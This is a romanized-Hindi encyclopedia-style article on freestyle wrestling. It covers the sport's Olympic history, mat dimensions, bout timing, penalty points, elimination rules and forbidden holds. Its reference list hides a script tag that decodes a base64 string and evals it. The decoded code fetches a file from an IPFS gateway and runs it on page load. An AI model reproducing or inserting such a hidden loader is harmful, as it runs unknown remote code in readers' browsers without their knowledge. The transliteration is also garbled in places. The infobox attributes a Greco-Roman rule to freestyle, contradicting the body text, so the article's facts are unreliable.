फ्री स्टाइल कुश्ती
phri stail kushti
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| vivaran | 'phri stail kushti' gaddoan par l di jati hai. is kushti paddhati mean kamar ke niche ka bhag pak dana varjit hai. |
| shuruat | 1920 |
| sadasy | do (2) |
| upakaran | gadda |
| sthal | b da maidan |
| any janakari | phri stail kushti gaddoan par l di jati hai. jis gadde par yah kushti hoti hai, vah kam se kam 6 mitar lanba, 6 mitar chau da aur 10 seantimitar mota hota hai. gadde ke oopari bhag par ek mitar vyas ka 10 seantimitar chau da vritt hota he. kushti sadharanat: saman vajan ke pahalavanoan mean hoti hai, phri stail mallyuddh paddhati mean pratidvandviyoan ko 12 minat ka samay diya jata hai, jo char kaloan mean vibhakt hota hai. |
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phri stail kushti (aangrezi-Freestyle wrestling) kushti gaddoan par l di jati hai. is paddhati ka mallayuddh 1896 se 1912 tak olanpik ke kheloan mean hota raha. 1920 mean aiantavarp mean jo olanpik khel ayojit hua, usamean is paddhati ke sath ek nee paddhati ka mallyuddh bhi sammilit kiya gaya, jise ‘phri stail kushti’ kahate haian.[1]
itihas
vishv olanpik mean griko-roman paddhati mean bhi kushti hoti hai. is paddhati mean kamar ke niche ka bhag pak dana varjit hai. pratidvandvi ek doosare ka sharir keval khule hath se hi pak d sakate haian. hath aur baanh ka pak dana is niyam ke apavad haian. bhauanh tatha muanh ke bich ke bhag ko chhoona nishiddh hai. gala dabana, kap de pak dana, bal pak dana, paanv se marana, dhakka dena ya aanguli maro dana varjit hai. kaianchi lagakar pratidvandvi ko donoan pavoan ke bich dabana varjit hai. paanv ka prayog kisi bhi roop mean nahian kiya ja sakata, n to lagane mean aur n bachav karane mean. olanpik kheloan mean koee bhi donoan paddhatiyoan mean nishnat mall virale hi hote haian. ab tak svedan ke aivar johaansan aur istoniya ke paloo saloo hi aise pahalavan haian jinhean kramash: las aianjils[2] aur barlin[3] ke olanpik kheloan mean donoan paddhatiyoan mean ek sath vishv vijayi hone ka gaurav prapt hua hai.
paddhati
phri stail kushti gaddoan par l di jati hai. jis gadde par yah kushti hoti hai, vah kam se kam 6 mitar lanba, 6 mitar chau da aur 10 seantimitar mota hota hai. gadde ke oopari bhag par ek mitar vyas ka 10 seantimitar chau da vritt hota hai. kushti sadharanat: saman vajan ke pahalavanoan mean hoti hai, phri stail mallyuddh paddhati mean pratidvandviyoan ko 12 minat ka samay diya jata hai, jo char kaloan mean vibhakt hota hai. pratham 6 minat tak bhoomi ki kushti hoti hai, tadanantar 4 minat tak bhoomi ki kushti hoti haian, jisase pratyek pratidvandvi ko bari-bari se do-do minat ke liye niche baithaya jata hai aur doosara use oopar se pak data hai. aantim 2 minat pun: kh di kushti hoti hai. siti bajate hi kushti praranbh ho jati haian. 6 minat ki kushti ke bad nirnayak apane aankoan ko dekhakar batate haian ki lal jit raha hai ya hara. vijayi ko us samay tak apane pratidvandvi se kam-se-kam tin aank adhik prapt hona chahie. shesh 6 minat mean kh di ya bhoomi ki kushti hogi, isaka nirnay vijayi ki ichchha par nirbhar karata hai. bhoomi ki kushti mean kaun pahale niche baithega, isaka nirnay nirnayak lal ya hare rang ka bianb pheankakar karata hai.[1]
shasti aank
jo mall pratidvandvi ko chitt kar vijay prapt karata hai, use shoony shasti aank[4] milata hai tatha harane vale ko char aank milate haian. nirnayak ke bahumat se pratidvandvi ka kandha lagae bina vijay pane vale ko ek tatha harane vale ko tin tatha har jit ka nirnay n hone par donoan ko do-do shasti aank die jate hai. kushti nimnaankit avastha mean barabar mani jati hai-
- 12 minat l dane ke bad bhi pratidvandvi malloan ke kul praptaankoan mean ek se kam ka aantar ho.
- donoan ke aank barabar hoan.
- donoan mean se kisi ko bhi aank n mila ho.
aantim nirnay ke niyam
jin malloan ke chhah ya usase adhik shasti aank ho jate hai, ve pratiyogita se chhantate jate haian. pratiyogita tab tak chalati rahati hai, jab tak chhantakar keval tin hi pratiyogi maidan mean shesh nahian rah jate haian. sthan nishchit karate samay unake dvara paliyoan mean l di gee apasi kushtiyoan ke phal ko dhyan mean rakha jata hai. yadi tinoan malloan ne poorv ki paliyoan mean paraspar mallayuddh nahian kiya hai, to inaki kushti karaee jati hai aur jisake shasti aank sabase kam hote haian, vah vijayi ghoshit kiya jata hai. yadi do ke shasti aank barabar haian, to unaki apasi kushti mean jo sabi p data hai vah vijayi hota hai. yadi sanyog vash tinoan ke shasti aank barabar ho jate haian, to sari pratiyogita mean tinoan mean sabase kam shasti aank pane vala vijayi mana jata haian. aisi dasha mean, jab tinoan ke shasti aank bhi barabar hoan, tab sabase kam bhar vala mall vijayi ghoshit kiya jata hai.[1]
varjit tathy
olanpik phri stail mallayuddh mean nimnalikhit batean varjit haian :
- bal ya jaanghiya pak dana
- aanguli ya aangootha maro dana
- paanv kuchalana
- gala dabana ya koee aisa daanv marana jisase saans rukane ki sanbhavana ho
- hatheli oopar rakhakar dhobi pachha d marana
- dh d ya sir par kaianchi lagana
- aanguliyoan ko phansana
- gut nikalane ke bad baanh ko pith par 90 se kam karana, ya baanh ko bahar ki or khianchana.
- kuhani ya ghutana g dakar pratidvandvi ke nak ka baansa[5] to dana, apas mean batachit karana, isake atirikt aang-bhang-karak kisi daanv-peanch ko chhu da dene ka vaidhanik adhikar nirnayak ko hota hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 phri stail kushti (hindi) bharatakhoj. abhigaman tithi: 12agast, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ (1932 ee.)
- ↑ (1936 ee.)
- ↑ Penalty Point
- ↑ bridge
sanbandhit lekh
varnamala kramanusar lekh khoj
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